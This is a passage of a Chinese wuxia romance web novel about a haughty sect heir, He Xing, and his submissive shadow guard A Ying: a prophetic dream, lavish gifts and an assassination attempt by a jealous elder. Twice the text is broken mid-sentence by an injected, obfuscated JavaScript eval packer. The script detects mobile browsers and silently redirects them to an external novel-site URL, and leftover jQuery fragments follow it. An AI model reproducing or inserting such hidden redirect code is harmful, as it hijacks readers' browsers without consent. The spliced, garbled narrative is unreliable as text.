眼前一黑,贺邢在剧痛中昏了过去。 他的意识沉入一片混沌,恍惚间,那一颗妖邪鬼怪的琉璃心一闪而过,贺邢还没看清楚,就又看见漫天雨倾盆而下,将整个剑阁笼罩在一片暴雨之中。 ——这是梦。 可这梦,真实得可怕。 血鸦谷,武林禁地,十死无生。 谷中藏有神兵墨血剑,剑出之日,必染百人血。 各大门派虎视眈眈,却无人敢轻易涉足——直到剑阁下令,命影卫统领阿影率三十精锐,夺剑而归。 梦中的画面支离破碎,却又清晰得令人心惊。 贺邢看见阿影策马入剑阁,玄色劲装染血,声音沙哑: “阿影复命。” 可他的身后,空无一人。 三十影卫,只回来了他一个。 雨幕如瀑,阿影下马,怀中的墨血剑泛着妖异的红光,剑身缠绕着丝丝血气,仿佛有生命般微微震颤。 他的脸色苍白如纸,雨水混着血水从下颌滴落,却仍挺直脊背。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433913|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“放肆!谁准你直闯主阁的?阁主去了青峰会,你就敢不把规矩放在眼里吗!” 一个尖锐的声音响起。 闻言,贺邢猛地转头。 真是山中无老虎,猴子称大王。 只见旭荟站在廊下,一脸嫌恶地盯着阿影,仿佛在看什么脏东西。 就好像在可惜,血鸦谷的任务居然没能杀了阿影。 “废物!” 杀堂堂主张老跟在旭荟后面,怒喝一声,指着阿影骂道, “三十个影卫,就活着回来你一个?剑阁培养你们多年,就养出你这样的废物?” 阿影沉默地跪在雨里,任由雨水冲刷着他的伤口,血水混着雨水,在他脚下汇成一片暗红的溪流。 “跪着!” 张老厉声道,“好好反省你的无能!” 贺邢眼睁睁地看着阿影被罚跪在雨中。 雨水冲刷着阿影身上的血迹,露出下面狰狞的伤口。 可他的眼神依旧平静,仿佛早已习惯这样的责罚。 …… 贺邢猛地惊醒,额间冷汗涔涔。 他发现自己正躺在寝殿的床榻上,而阿影……阿影跪在床边,一直给贺邢输送内力,见他醒来,立刻松手低头: “主人,您醒了。” 贺邢盯着他,胸口那股闷痛仍未消散。 梦中的画面挥之不去——阿影浑身是血的模样、旭荟的嘴脸、张老的怒斥……这一切,真实得不像梦境,反而像是…… 预知。 这一切,真的会发生吗? “阿影。” 贺邢突然开口,声音沙哑,“剑阁近日,可有什么任务派给你?” “血鸦谷有任务?” 阿影一怔,随即垂眸:“……大抵,是。” 贺邢的手指骤然收紧。 “你接了?” 阿影垂眸:“未曾。” 贺邢眼神一冷,胸口那股闷痛又来了。 他猛地将阿影拽到身前,咬牙道:“不管什么破任务,我让你别去。” 阿影抬眸,眼中闪过一丝茫然。 却听贺邢又道:“过来,靠近点。” 他迟疑一瞬,还是膝行至贺邢床边。 下一秒,贺邢一把捏住他的下巴,强迫他抬头。 “阿影,你听好了。” 贺邢的声音低沉,带着不容抗拒的压迫感,“血鸦谷的任务,你不准去。” 阿影茫然。 贺邢松开手,转而抚上他的后颈,语气忽然柔和下来: “记住,你的命是我的。” “没有我的允许,谁也不能动。” “你只要听我的话就行了。” 贺邢这个人,骨子里就刻着“傲慢”二字。 他生来就是剑阁少主,天赋卓绝,年纪轻轻便武功大成。 江湖上人人敬畏,连老一辈的高手见了他,也得客客气气称一声“少阁主”。 这样的出身,这样的实力,他凭什么不高傲? ——他其实看不起所有人。 武林盟主在他眼里不过是个道貌岸然的伪君子,名门正派的掌门人也不过是些墨守成规的庸才。 就连剑阁里的长老们,在他眼里也只是一群倚老卖老的废物,若不是念在他们是父亲的旧部,他早把他们全踢出去了。 贺邢甚至连自己的命都不在乎。 他活得肆意,死也死得痛快,这世上没什么值得他小心翼翼的东西。 他自认为,他不在乎阿影。 阿影对他来说是什么? 一个听话的影卫,一把趁手的兵器,一个可以随意把玩的玩具。 高兴了,就逗弄两下,看影卫隐忍克制却不得不顺从的模样;不高兴了,就随手丢开,甚至踩在脚下碾两下,反正阿影也不会反抗。 他还真就从未想过阿影会痛,会难过。 玩具而已,何必在意? 可偏偏,这颗该死的“琉璃心”,却逼着他在意。 每次他对阿影过分一点,心口就像被刀绞一样疼。 ——凭什么? 他贺邢想做什么就做什么,何时轮到一颗破心来指手画脚? 可当他在预知梦里,看到阿影浑身是血跪在雨中的模样时…… 贺邢竟第一次,感到了“后怕”。 9. 第9章·示好 所以,为了斩草除根、永绝后患,贺邢毫不犹豫地出手掐断了血鸦谷的那桩任务。 他不光严禁阿影前去,更是直接下令,毙掉了那个任务,整个剑阁上下无一人能接。 这一下,可把旭荟公子气得火冒三丈。 他在房中摔器砸盏,怒意汹汹,却偏又无可奈何。 因家中催他回去准备成亲,成亲之事十分的繁琐,得提前几月准备,不过几日,旭荟便只得悻悻提前离去。 自然,这其中也少不了贺邢暗中推波助澜,轻轻一拨,便让旭荟走得无法拖沓。 待那烦心的旭荟一走,剑阁仿佛都清净了几分。 贺邢留意到,旭荟那倒霉玩意一走,阿影似乎比往常舒展了些许。 虽仍不怎么言语,但眉间那道常年的冷淡,竟似被微风拂淡了几分,偶尔也会露出很柔和的神色。 虽然这偶尔,是一个月都没一次。 时值深冬,寒气萧瑟,呵气成霜。 剑阁内外尽是一片肃杀冷寂,唯有顶楼的寝阁中暖意氤氲、炉火轻燃。 贺邢近日颇费心思,特地吩咐制衣阁为阿影赶制新衣,从选料到绣纹,无一不是他亲自过目定夺。 这一日清早,衣物终于制成,整整五大箱由制衣阁的侍从送至顶楼大厅。 彼时贺邢尚在榻上,怀中正是只穿着里衣、脖子上面点点红痕的影卫阿影。 侍从们放下衣箱便悄然退去,无人敢出声惊扰。 剑阁顶楼乃是贺邢独居之处,没有他的允许,谁也不敢擅入,没有他的出声,谁也不敢擅言。 贺邢醒来时已近晌午。 冬日赖床本是极惬意的事,更何况怀中尚拥着一人。 只见贺邢懒懒散散地打了个哈欠,却不急着起身,反而将怀中人又揽紧了几分。 “……” 阿影其实早已醒来,却始终维持着同一个姿势一动不动。 身为影卫,他早已习惯了在贺邢醒来之前保持静默,在贺邢入睡之后方能放松。 正午的阳光透过雕花窗棂,在阿影的脸上投下细碎的光影。 贺邢垂眸端详怀中人,忽然觉得有趣。 阿影算不得什么绝世美人,他五官凌厉,眉眼间总是凝着一股化不开的冷冽杀气。 作为剑阁最锋利的剑,阿影手中沾染的鲜血早已数不胜数。 可偏偏就是这样一个杀人不眨眼的影卫,却让贺邢生出了几分打扮他的兴致。 “醒了就起来吧。” 贺邢终于懒洋洋地起身,随意披了件外袍便走向那几口衣箱。 阿影很自觉地跟随在主人身后,依旧保持着三步的距离,这是影卫应当恪守的规矩。 “啪。” 贺邢打开衣箱,顿时满室生辉。 箱中整整齐齐地叠放着数十套衣裳,从里衣到外袍,从常服到正装,一应俱全。 用料皆是上乘的云锦、软绸和貂绒,绣纹精致却不张扬,针脚细密得看不出痕迹。 贺邢随手取出一件墨色长袍,袖口用银线绣着暗纹,在光线下若隐若现。 “过来。” 贺邢招手,阿影顺从地上前。 贺邢将衣裳在他身上比了比,满意地点点头: “倒还合身。” 他又接连取出几件,一一在阿影身上比对,仿佛在欣赏一件属于自己的玩意。 最后,他挑出一套鸦青色劲装,递到阿影面前: “今日就穿这个。” 阿影自然不会拒绝。 若是主人要他去死,他都只会答应,又何况穿几件衣服呢。 见阿影接过衣服就要退到屏风后更换,贺邢忽然又开口:“就在这里换。” 阿影动作一顿,抬眼看向贺邢。 “是。” 四目相对片刻,阿影垂下眼帘,依言开始解衣。 作为影卫,他早已习惯了服从命令,无论那命令是什么。 冬日的阳光勾勒出阿影劲瘦的腰身和紧实的肌肉,那些新旧交错的伤疤在光线下格外显眼,每一道都是一个生死瞬间的见证。 贺邢的目光掠过那些伤疤,眼神微暗。 他指了指那一件里衣: “穿这个,新织的软绸,不磨疤。” 阿影沉默地听话,整个过程两人都没有再说话。 直到系好最后一根衣带,贺邢才退后两步,上下打量着焕然一新的影卫,嘴角勾起一抹满意的笑: “总算像点样子了。” 他转身走向窗边,望着窗外皑皑白雪,语气恢复了一贯的漫不经心: “穿得体面些,别让人瞧见我剑阁最锋利的剑,整天穿得破落潦倒——” 他顿了顿,回头瞥了阿影一眼,“反倒平白丢了我的颜面。” 被这样一说,阿影低头应了声“是”,手指无意识地抚过衣袖上精致的绣纹。 这些衣物的用料和做工都远超一个影卫应有的规格,甚至比许多世家公子的衣着还要讲究。 阿影自然不明白主人为何突然对他这般上心,但作为一把剑,他不需要明白,只需要服从。 与此同时,贺邢凝视着阿影依旧恭敬而疏离的姿态,心头莫名涌起一阵烦躁。 紧赶慢赶,他特意命人赶制了五大箱衣裳。 绫罗绸缎、貂绒锦裘,无一不是精挑细选,可阿影今天知道时连嘴角都不曾牵动一下,更别提展露笑颜了。 这柄剑阁最锋利的剑,此刻垂着眼帘站在那里,仿佛收到的不是珍贵的新衣,而是又一纸夺命的任务。 怎么连笑都不会笑? 真是的。 啧。” 贺邢把玩着手中的玄铁扇,忽然用扇尖轻佻地挑起阿影的下巴,迫使对方抬起脸来。 “……” 阿影那双总是藏着锐气的眼睛此刻却避开了他的视线,只余下顺从与沉默。 仔细看可以发现,阿影耳朵稍微有一点红,非常不明显。 “真稀奇,” 贺邢嗤笑一声,语气里带着他惯有的恶劣, “给你做了这么多衣服,连个笑脸都舍不得给?” “若是不喜欢,我现在就叫人全撤了,换一批新的。” 闻言,阿影浑身一颤,立刻单膝跪地,声音低而急: “属下不敢……属下没有不喜欢。主人赐的,皆是恩典。” 贺邢冷哼一声,收回扇子,目光却仍锁在阿影脸上。 虽然说影卫绝对不会对主人撒谎,可是贺邢就是觉得憋憋屈屈的。 他觉得阿影好像这话说的不情不愿的,搞得跟他逼的一样。 毕竟,既然喜欢,为什么不肯笑一下?为什么还是这副闷石头的模样? 贺邢越想越觉得心头憋闷,那种说不清道不明的情绪让他烦躁至极。 忽又开口,贺邢心情不好,声音更加斩钉截铁,不容置疑: “从今往后,你所有的衣物都由制衣阁特制,每季添新,不得有误。” 阿影低头应道:“属下遵命。” 贺邢走过去,用脚尖不轻不重地碰了碰阿影的膝盖: “起来。少跪一点,医师不是说过你膝盖旧伤严重吗?” 他这话说得随意,心里却再清楚不过——阿影这伤是怎么来的。 那年寒冬,旭荟公子一句轻飘飘的惩罚,让十五岁的阿影在雪地里跪了将近三日。 等贺邢过去时,少年阿影几乎已经冻僵,膝盖肿得不成样子,连站都站不起来。 能恢复到如今这样已属奇迹,但每逢阴雨寒冷天气,仍会疼痛难忍。 贺邢不是不知道,影卫这一行注定与伤痛为伴。 可他一想到阿影拖着这双伤腿还要替他出生入死、风里来雨里去,就没由来地一阵恼火。 “多谢主人。” 阿影依言起身,依旧垂着头。 于他而言,伤病疼痛都是家常便饭,能活下来已是侥幸,他从不敢奢求更多。 连他自己都不在意的伤痛,没有道理要让主人在意或者记挂。 “行了,我也要穿衣了。” 贺邢转身走回床边,自顾自取下衣架上的外袍准备穿上。 “主人……” 阿影见状下意识上前想要帮忙,却被贺邢摆手制止。 “你少替我做事,”贺邢语气硬邦邦的,“免得我又莫名心口疼。” 他这话半真半假。 自从那神出鬼没的“琉璃心”出现,贺邢就没少受折磨。 可后来他却发现,只要他对阿影稍好一些,那钻心的疼痛便会荡然无存。 什么鬼东西?真是。 贺邢一生桀骜,天之骄子,何曾学过如何对人好。 结果现在这个情况,他也只得试着去做。 可贺邢不知道,他这般突如其来的态度,落在阿影眼中却全变了意味。 阿影默默退后一步,指尖无意识地蜷缩起来。 他见贺邢连穿衣都不愿让自己近身,心中那片深藏的自卑与失落又蔓延开来。 他想,主人定是厌极了他,连碰触都觉得嫌弃了。 结果,贺邢系好衣带,一回头就瞧见阿影垂着眼站在那里,整个人像是被一层无形的阴影笼罩着,那副隐忍又失魂落魄的模样,莫名刺得贺邢这个主人心头火起。 “想什么呢在那?” 贺邢声音陡然沉了下去,带着明显的不悦, “待在我身边就让你这么容易走神?” 他是真的恼了。 想他贺邢何时这般费心对待过一个人? 那五大箱衣裳,从料子到纹样,哪一样不是他亲自过目、精挑细选? 结果呢? 这木头一样的影卫不仅连个笑脸都吝啬给予,此刻竟还敢在他面前神游天外。 这种热脸贴冷屁股的滋味,贺邢何曾尝过? 闻言,阿影浑身一颤,立刻敏锐地察觉到主人周身散发出的低气压。 阿影虽然不太明白贺邢为何突然动怒,但长年累月的影卫生涯早已让他形成了一套应对主人情绪的本能。 他习惯了顺从,习惯了用最直接的方式平息主人的怒火——以前是自请受罚,现在是……哪怕现在的方式常常让阿影事后独自蜷缩在黑暗里,舔舐难以言说的羞耻和一丝隐秘的、连自己都不敢深究的悸动。 指尖无意识地蜷缩了一下,随即又强迫自己松开。 然后,阿影像是下定了某种决心般,他向前迈了一小步,带着一种视死如归般的顺从,仰起脸,冰凉的唇小心翼翼地贴上了贺邢的嘴角。 贺邢:“你……” 后面的话没有说出来了。 只见阿影微微闭上了眼睛,长而密的睫毛因紧张而不停颤抖,在眼下投出一小片脆弱的阴影。 像是可怜兮兮的、在惶恐之中的兽。 这是一个生涩而仓促的讨好,动作里带着卑微的试探和显而易见的恐惧,却也因为那份孤注一掷,透出一种破碎的诱惑力。 阿影总以为贺邢要的是这个, 毕竟以往许多次,当他不知如何是好时,阿影的这副身体总是能最简单、最有效地,让主人暂时放下不快。 所以,很多时候,阿影都很庆幸,自己长了一张和旭公子这么像的你。 然而阿影预想中的回应并未到来。 “呃!” 阿影只觉得腰间骤然一紧,贺邢的手臂猛地箍住了他,力道大得几乎要将他勒断。 “主人——” 阿影被这股力量带得踉跄一步,被迫紧紧贴入贺邢怀中,鼻尖瞬间充斥了对方身上独有的冷冽气息。 “好你个阿影,你总这样糊弄我,你真把我当傻子糊弄呢?” 贺邢低下头,目光如同实质般烙在阿影脸上,每一个字都像是从齿缝里挤出来。 被这样质问,阿影眨了眨眼睛,那双总是藏着锐利与警惕的眸子里,此刻竟透出一种近乎单纯的慌张。 他被贺邢牢牢箍在怀里,整个人不知所措,像一只被突如其来的风暴惊扰的兽。 主人似乎更生气了,可阿影完全不明白自己错在哪里。 方才的亲吻,没有亲到,而且更糟糕的是没能平息主人的怒火,反而引来了更深的诘问。 阿影纤长的睫毛无助地颤动了几下,最终只能垂下眼帘,声音低得几乎听不见: “……阿影无能,请主人赐罚。” 这是阿影所能想到的最简单也最直接的方法——既然讨好无用,那便领罚。 疼痛于他而言早已是家常便饭,若能以此换得主人息怒,便是值得。 贺邢盯着他这副逆来顺受的模样,简直气笑了。 他箍在阿影腰间的力道又收紧了几分,几乎是咬着牙道: “你知道吗?除了你,谁敢叫我这么生气,还能活蹦乱跳站在这儿的,这世上找不出第二个。” 阿影闻言更加茫然无措了。 不罚……那要如何? 主人的心思比他执行过最复杂的任务还要难测。 犹豫了一下,阿影指尖试探地移向自己刚刚穿好的、用料精良的衣带——既然亲吻和领罚都无用,那或许只剩下…… 就在阿影的指尖即将碰到衣带时,贺邢猛地一把攥住了他的手腕,力道之大,几乎要捏碎他的骨头。 “谁准你动了?你在这跟我做皮肉买卖呢?” 贺邢的声音低哑得可怕,目光灼灼,像是要将阿影看穿。 阿影顿时僵住,连呼吸都屏住了,以为自己又触怒了主人。 然而贺邢盯着阿影苍白而惶惑的脸看了半晌,眼底翻涌的攻击性竟慢慢沉淀下去。 他忽然松开钳制,带着几分烦躁,抬手用指节蹭过阿影的唇角,语气生硬地命令道: “要不然,你给我笑一个看看?笑一个,我就不生气了。” 这个要求比任何严苛的训练或惩罚都让阿影感到茫然。 他愣住了,瞳孔微微放大,像是没听懂贺邢的话。 笑? 阿影的人生里充斥着杀戮、守护、隐忍和服从,喜悦是一种太过陌生甚至奢侈的情绪。 他从未对着镜子练习过如何展露笑颜,甚至不确定自己笑起来的话和旭公子像不像。 影卫不需要笑容,只需要锋利和忠诚。 可是现在,主人命令他笑。 箭在弦上,不得不发了。 阿影深吸一口气,努力回忆着模糊记忆中旭公子“笑”该有的样子,然后极其缓慢地、有些笨拙地向上牵起了嘴角。 希望,笑起来也有点像吧…… 其实应该不好看,毕竟不管是谁,笑得这么僵硬,哪里能好看得起来,整个表情都很不自然。 然而,就是这样一个笨拙又生硬的笑容,却让贺邢如同被定身法定住一般,猛地怔在了原地。 “……” 下一秒,肉眼可见的绯色迅速从贺邢的耳根蔓延开来,瞬间染红了贺邢的整个耳朵和脖颈。 与剑阁阁主平日里那副桀骜不驯、恶劣张扬的模样形成了极其强烈的反差。 贺邢像是被什么烫到一样,猛地松开了攥着阿影的手,甚至有些狼狈地转开视线,喉结不自然地滚动了一下。 贺邢:“……” 阿影:“?” 贺邢猛地别过头去,只留下泛红的耳廓和脖颈暴露在阿影的视线中。 他声音里带着一丝不易察觉的紧绷,几乎是恶声恶气地命令道:“……你以后只能笑给我看。” 闻言,阿影顺从地点头,没有丝毫犹豫:“属下遵命。” 他心想,除了主人,确实也不会有人对他提出这般奇怪的要求了。 气氛微妙地缓和了些。 贺邢似乎为了打破这局面,目光扫过床边,伸手取过了阿影从不离身的“夜哭”剑。 “铮——” 那剑一出鞘,便透出一股森然寒意,剑身极薄,刃口在光线下流转着一线凄冷的微光。 夜哭剑如其名,轻若无物,却锋利无匹,是无数高手梦寐以求的神兵利器。 然而与之相配的剑鞘却显得过于平凡,通体玄黑,材质普通,样式更是毫无出奇之处,历经风霜已显得有些破旧,与阿影身上那精致贵重的新衣格格不入。 “啧。” 贺邢将剑掂在手中,感受着那恰到好处的平衡与冰冷的分量。他屈指弹了一下剑身,发出一声清越悠长的嗡鸣。 他侧头看向阿影,眉头微挑:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433914|184924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这剑鞘太寒碜了,配不上现在的你。要不要换个新的?或者……” 顿了顿,贺邢语气随意却带着试探,“直接给你换把更好的剑?” 阿影闻言,眼中掠过一丝极淡的茫然。 剑于他而言,是手臂的延伸,是生死相托的伙伴。 夜哭剑他已用了多年,早已熟悉得如同身体的一部分。 但阿影依旧垂下眼帘,轻声道:“阿影都听主人的。” 这个答案似乎早在贺邢预料之中,却又让贺邢心头莫名一软。 他哼了一声,将剑归鞘,一锤定音: “武者其实不宜轻易换剑,手感差了分毫,便是生死之别。罢了,那就给你换个新剑鞘。” 他用剑鞘轻轻点了点阿影的腰间,“配不上你,所以,该换了。” 阿影下意识地想跪下谢恩,又猛地记起贺邢先前的命令,动作僵在半途,最终只是深深地低下头:“多谢主人。” 贺邢看着他这副恭敬却疏离的模样,方才那点柔软心绪又被一丝恶劣的逗弄欲取代。 他上前一步,将夜哭剑塞回阿影手中,指尖不经意擦过阿影微凉的皮肤,语气带着几分戏谑: “口头上说谢谢有什么用?轻飘飘的,没点诚意。你不如来点实际的?” 实际的? 阿影握着熟悉的剑,指尖感受着剑柄上缠绕的旧皮革纹路,怔住了。 他抬眼看向贺邢,那双总是沉静如古井的眸子里,罕见地显露出清晰的困惑。 把一切献给主人,阿影当然是心甘情愿的,更何况阿影对主人本来就有一点私心。 只是,除了这条命和这副身躯,他还有什么能称得上是“实际”的东西可以献给主人? 沉默地思考着。 忽然间,一个近乎荒谬的念头闪过阿影的脑海——主人刚才,似乎……是喜欢看他笑的?尽管那个笑生硬又笨拙。 犹豫只存在了极其短暂的一瞬。 服从的本能压倒了一切。 阿影抬起头,努力回忆着方才牵动嘴角的感觉,再一次,对着贺邢,缓缓地、有些吃力地,向上弯起了唇角。 这个笑容依旧算不上熟练,甚至因为带了些许不确定的试探,显得更加生涩。 却奇异地冲淡了阿影眉宇间常年的冷漠,带着一种不自知的、令人心尖发颤的专注。 “……” 就这么看了一眼,贺邢猝不及防,只觉得心头像是被最柔软的羽毛尖端狠狠搔刮了一下,又痒又麻。 一股更汹涌的热意“轰”地一声直冲上脸。 这次再也无法掩饰,连耳根带脖颈,乃至剑阁阁主冷峻的面容,都瞬间染上了一层明显的绯红。 贺邢也不知道为什么会这样。 他能感觉到自己的脸上特别的烫,血液都往脸上涌。 猛地转过身,贺邢几乎是有些狼狈地丢下一句: “……剑鞘我过两日让人送来!” 声音竟罕见地透出了一丝仓促的意味。 搞得阿影不明所以,但是,依旧还是点头应是。 对于影卫来说,主人的命令就是天,主人说什么就是什么。 —— 结果自那日后,贺邢像是彻底顿悟了。 不仅送来了与“夜哭”剑相配的玄乌沉金剑鞘,更是将无数奇珍异宝如同流水般送给阿影。 顶楼那间寝阁,如今几乎变了模样。 并非变得富丽堂皇,而是处处透着一种被精心呵护的奢靡。 窗边多了一盏精巧的宫灯,灯身是紫檀木雕琢而成,里面嵌着的却不是寻常烛火,而是一颗鸽卵大小、莹润生辉的南海夜明珠。 阿影的衣柜里更是塞满了远超一个影卫所需的衣物。 除了日常更换的劲装,还有以玄色暗纹云锦制成的外袍,领口袖缘绣着同色系的精密云雷纹,低调却价值连城。 甚至还有一件通体用雪貂腹下最柔软皮毛拼成的斗篷,风帽边缘茸毛丰厚。 贺邢只瞥了一眼送来的箱子,淡淡道:“隆冬时披上,别冻僵了手脚,误了事。” 至于兵器配件,更是层出不穷。 与“夜哭”剑配套的玄乌沉金剑鞘只是开始,之后又有能贴身藏于靴筒、削铁如泥的寒铁匕首; 数套以特殊合金打造、轻便却坚韧无比的飞镖暗器,其边缘在光线下泛着幽蓝的冷光。 贺邢赏赐这些东西时,态度往往随意得像是丢出一件无关紧要的旧物,语气也总是那般居高临下: “拿着,别出去丢我的脸。” 或是:“用坏了再说,库房里堆着也是占地方。” 然而,剑阁上下谁都不是瞎子。 这些物件哪一样不是千金难求、有价无市的宝贝? 阁主这般毫不节制地将资源倾斜给一个影卫,其意味不言自明。 流言如同水入滚油,瞬间炸开。 阁中众人私下窃窃,皆言影卫阿影如今已是阁主心尖上独一无二的人物,恩宠之盛,远超历任影卫,甚至盖过了阁中许多高层人物。 更有人信誓旦旦地说,阿影在阁中已享有诸多特权,几乎能与几位堂主平起平坐。 这些话语,一字不落地传到了杀堂张老的耳中。 张老坐在杀堂阴森的大殿内,听着心腹弟子的回报,脸色阴沉得能滴出水来。 手中盘玩多年的铁胆被捏得咯咯作响,手背上青筋毕露。 危机感袭来。 事实上,阿影越受重视,他这把老骨头的位置就越是岌岌可危。 贺邢的性子张老再了解不过,任性妄为,全凭喜好。 如今贺邢这般明目张胆地抬举阿影,其用意难道还不够明显吗? 根本不需要几年,或许下一次任务归来,贺邢一句话就能让那小子取代自己,执掌杀堂! 他绝不能坐以待毙! 思前想后,一条最直接、最阴损也最有效的计策浮上心头——下毒。 让这个碍眼的影卫无声无息地消失,一了百了。 然而,这恶毒的计划刚刚在脑中成型,就遇到了最大的难题: 阿影与贺邢完全就是形影不离,同寝同食。 一个影卫或许确实是不难杀,但是,一个剑阁阁主,那可就不是开玩笑的了。 剑阁阁主身边的防卫体系,是贺邢亲自布置下的,其严密程度堪称铁桶一般,毫无破绽。 所有饮食,从食材采购到清洗烹制,再到呈送入口,皆有特定且互不统属的三批人手经手,每道工序都有专人以银针、药蛊乃至内功反复查验记录; 所有衣物配饰,入库前必经过毒物熏蒸和细致检查,送至顶楼前还会再次被掌事侍女验看; 就连平日饮用的茶水、燃放的熏香,都各有严苛的规矩和查验流程。 别说下毒,就算想不经通传、在不恰当的时间靠近顶楼区域,都会立刻引来暗处无数道警惕的目光。 张老几次三番暗中试探,甚至动用了埋藏多年的暗线,竟找不到一丝一毫的可乘之机。 所有的尝试都如同石沉大海,连点涟漪都未曾泛起。 这就是贺邢的可怕之处。 太会防患于未然了。 却把张老气得在内室来回踱步,胸口剧烈起伏,最终只能愤愤地一掌拍在桌上,震得茶盏乱响。 “贺邢那竖子,真是、真是色令智昏!” 张老从牙缝里挤出这句咒骂,花白的胡须因愤怒而微微颤抖。 他实在想不通,那个叫阿影的影卫,不过是个沉默寡言、硬邦邦如同兵器般的男人,常年一身杀气,眉眼间连点暖意都欠奉。 所以!阿影究竟有何等魔力,能把向来精明冷酷、桀骜不驯的贺邢迷到如此地步? 一个只会杀人的工具,浑身上下哪有一丝一毫惹人怜爱之处?贺邢居然也不嫌膈应,也不嫌晦气! 张老百思不得其解,只觉得贺邢这番做派,简直是荒唐透顶,如同中了邪一般。 并且,他仿佛看见自己经营多年的权柄,正因贺邢这不合常理的偏爱,而一点点地滑向那个冰冷的影卫手中。 这种失控的感觉,让张老如坐针毡,彻夜难眠,杀意也愈发炽盛起来。 ——必须要除掉阿影! 10. 第10章·有孕 又苦等了半个月,张老终于等来了一个千载难逢的良机。 ——贺邢要暂时离开剑阁,前去拜访恩师旭东,并顺道参加旭荟的婚礼。 旭荟乃是贺邢师傅旭东的二儿子。旭东膝下虽还有个长子旭辉,只可惜自幼体弱多病,常年汤药不断,不堪大用。 所以旭荟几乎是板上钉钉的下一任继承人。 此次旭荟大婚,于情于理,贺邢都必须亲自到场。 只见贺邢前脚刚离开剑阁不过半日,张老后脚便立刻行动起来。 他亲自带领一众杀堂心腹,个个都是精锐好手,一行人杀气腾腾,毫不掩饰地直扑剑阁顶楼。 顶楼之上,阿影正独自坐在窗边,垂眸细致地擦拭着他的夜哭剑。 午后的阳光透过雕花窗棂,落在冰冷修长的剑身上,泛起一层流动的寒光,与阿影冰冷肃杀的神情交相辉映。 身为顶尖的武者,门外那纷至沓来的杂乱脚步声,以及那几乎不加掩饰的浓重杀气,阿影早已听得一清二楚。 但阿影擦拭剑身的动作依旧平稳,不见丝毫慌乱。 “砰——!” 一声震耳欲聋的巨响,厚重的紫檀木房门被张老运足内力,毫不客气地一脚狠狠踹开! 木屑微扬,门板撞在墙上,发出令人牙酸的呻吟。 偌大的顶楼房间奢华依旧,却因主人的离去而显得格外空寂。 暖炉里的炭火静静燃烧,空气中还残留着一丝贺邢常用的冷冽熏香。 阿影独自坐在其中,仿佛一尊没有生命的玉雕。 这些日子以来,贺邢对他超乎寻常的格外恩宠,早已在剑阁内激起诸多非议与暗流。 此刻张老带人如此气势汹汹地闯入,阁内竟无一人出面阻拦询问,可见众人心中积怨已深,皆在冷眼旁观。 阿影缓缓抬眸,望向门口黑压压的人群。 阳光在他浓密的睫毛上投下小片阴影,却遮不住那双眸子里冰封般的寒意。 他持剑起身,动作流畅而稳定,夜哭剑在他手中发出细微的嗡鸣,剑锋流转着嗜血的冷光,与他平静得近乎诡异的面容形成一种惊心动魄的对比。 “无阁主之令,擅闯顶楼者,死。” 阿影的声音如冰,不高不低,却在这过分奢华寂静的房间里荡开清晰而冰冷的回音。 张老闻言,像是听到了天大的笑话,放声狂笑起来,笑声粗嘎刺耳,充满了毫不掩饰的讥讽与怨毒: “死到临头还敢摆阁主影卫的架子!你这靠卖身上位、蛊惑主上的贱货!” “真以为得了几天宠爱,就能在剑阁立足了?今日便是你的死期!” 然而阿影仿佛并未听到那不堪入耳的辱骂。 他只是微微垂眸,看了一眼手中紧握的夜哭剑,光滑如镜的剑身清晰地映出他沉静如古井的眉眼。 武者,最忌讳过情动气。 随即,阿影抬眼,目光如最锋利的刀锋般刮过张老及其身后众人:“但可一试。” 被这样嘲讽,张老脸上的肌肉剧烈抽搐着,浑浊的眼中迸射出毒蛇般的凶光。 他猛地一挥手,对身后四个身材魁梧、面目狰狞的儿子厉声喝道: “给我上!谁能取下这贱货的首级,杀堂副堂主之位就是谁的!” 这四个男人,闻言眼中顿时迸发出贪婪的光芒。 他们相互对视一眼,随即如同四头饿狼般从不同方向同时扑向阿影。 刀光剑影交织成一张致命的网,封死了所有退路。 然而阿影依旧静立原地,手中的夜哭剑发出一声清越的嗡鸣。 就在四道凌厉的攻势即将及身的刹那,阿影的身影忽然变得飘忽不定。 “铮——!” 只见一道幽暗的剑光如鬼魅般游走,阿影的身法轻妙绝伦,在狭小的空间内辗转腾挪。 夜哭剑在他手中仿佛有了生命,每一次挥出都带着刺骨的寒意,精准地找到四人配合中最细微的破绽。 “噗嗤——” “啊!” 接连四声惨叫几乎同时响起,在空旷的顶楼回荡得格外凄厉。 鲜血飞溅中,四条断臂应声落地,手指还在微微抽搐。 “快后退!!” 那四个方才还凶神恶煞的男人此刻都惨白着脸,踉跄着后退,断臂处血流如注,在地上洒下触目惊心的红痕。 阿影持剑而立,衣袂飘飘,竟未沾染半点血污。 他眼中依旧平静无波,仿佛刚才不是斩断了四条手臂,只是随手拂去了衣上的尘埃。 但就是这样平静的眼神,却让在场所有人都不寒而栗——因为阿影出手之狠辣果断,与眼中的淡漠,生命在他眼中不过是如此。 “你!你!你们这一群废物!” “枉费我培养了你们这么久!” 张老气得浑身发抖,脸上的皱纹扭曲得如同老树的枯枝。 他死死盯着阿影,咬牙切齿道: “好,好得很!我倒要看看,你能嚣张到几时!” “啪啪。” 他猛地一拍手,门外立刻涌进更多杀气腾腾的杀手,将整个顶楼围得水泄不通。 而阿影只是轻轻转动腕间的夜哭剑,剑锋在空气中划出一道冰冷的弧线。 “还有谁想试剑?” 